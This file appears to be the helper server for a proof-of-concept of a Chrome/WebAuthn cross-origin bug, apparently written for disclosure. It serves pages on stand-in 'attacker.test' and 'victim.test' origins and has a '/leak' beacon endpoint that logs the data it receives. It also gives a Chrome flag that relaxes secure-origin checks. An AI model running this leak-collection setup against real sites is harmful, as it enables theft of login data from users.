#!/usr/bin/env python3
"""Serves the POC pages on two origins.

This bug needs two distinct HTTPS origins (attacker.test == main frame,
victim.test == login subframe). For local testing on an Android device, map
attacker.test and victim.test to this host in /etc/hosts (or via adb reverse +
Chrome's --host-resolver-rules) and provide a TLS cert; alternatively run two
plain-HTTP servers and launch Chrome with
  --unsafely-treat-insecure-origin-as-secure=http://attacker.test:8444,http://victim.test:8443
so the conditional WebAuthn request is permitted.

Usage:
  python3 server.py            # serves victim.test pages on :8443
  python3 server.py --attacker # serves attacker.test pages on :8444
"""
import http.server
import os
import sys

PORT = 8444 if "--attacker" in sys.argv else 8443
os.chdir(os.path.dirname(os.path.abspath(__file__)))


class H(http.server.SimpleHTTPRequestHandler):
    def do_POST(self):  # /leak beacon
        n = int(self.headers.get("Content-Length", "0"))
        sys.stderr.write("[LEAK %s] %s\n" % (self.path, self.rfile.read(n)))
        self.send_response(204)
        self.end_headers()


print(f"serving on 0.0.0.0:{PORT}")
http.server.ThreadingHTTPServer(("0.0.0.0", PORT), H).serve_forever()